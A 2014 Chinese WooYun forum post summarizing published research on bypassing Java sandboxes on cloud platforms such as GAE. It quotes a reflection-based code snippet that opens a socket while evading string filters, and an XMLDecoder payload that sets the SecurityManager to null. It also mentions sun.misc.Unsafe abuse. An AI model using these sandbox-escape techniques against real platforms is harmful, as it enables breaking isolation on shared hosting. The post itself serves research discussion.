XAE 沙盒绕过 (WOOYUN)

  • A+
所属分类:WooYun-Zone

livers (如梦似幻) XAE 沙盒绕过  (WOOYUN) | 2014-12-08 23:21

看到今天fd上GAE的java沙盒的绕过
http://seclists.org/fulldisclosure/2014/Dec/26
security-explorations 报告他们发现了30+ 的问题,poc写了17个  最后说没有测完。
真心牛X。

翻他们之前的papper,非常赞。  推荐之

http://www.security-explorations.com/materials/SE-2013-01-ORACLE.pdf
1.多种花样利用java的反射机制绕过沙盒。
Class c=Class.forName("java.net.Socket");
Class ctab[]=new Class[2];
ctab[0]=Class.forName("java.lang.String");
ctab[1]=Integer.TYPE;
Constructor con=c.getConstructor(ctab);

Object args[]=new Object[2];
args[0]=hostname;
args[1]=new Integer(port);
Object s=con.newInstance(args);
Method geti=c.getMethod("getInputStream",new Class[0]);
Method geto=c.getMethod("getOutputStream",new Class[0]);
InputStream is=(InputStream)geti.invoke(s,new Object[0]);
OutputStream os=(OutputStream)geto.invoke(s,new Object[0]);

没有直接 这样 回调xxxx.getClass().forName("xxx").getMethod("xxx",null).invoke(null,null).exec(xxxx) 【当然这个是静态回调 动态要实例化下】
而是用的类,方法,示例的引用 绕过沙盒这些敏感字符串的限制。
2. 未限制的特权方法
有多个,其中包括了之前 shine [link href="WooYun: SAE允许JVM内存对象直接读写操作"] sae绕过[/link]
提到的 sun.misc.Unsafe  特权类  

还有些淫荡的方式
例如通过
java.beans.XMLDecoder的实例 解析xml 执行java的方法
<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder">
<void id="setsmres" class="java.lang.System" method="setSecurityManager"
<null></null>
</void>

先关联到权限域 然后 设置Security Manager 对象为NULL

干货很足 大家细细看。

分享到: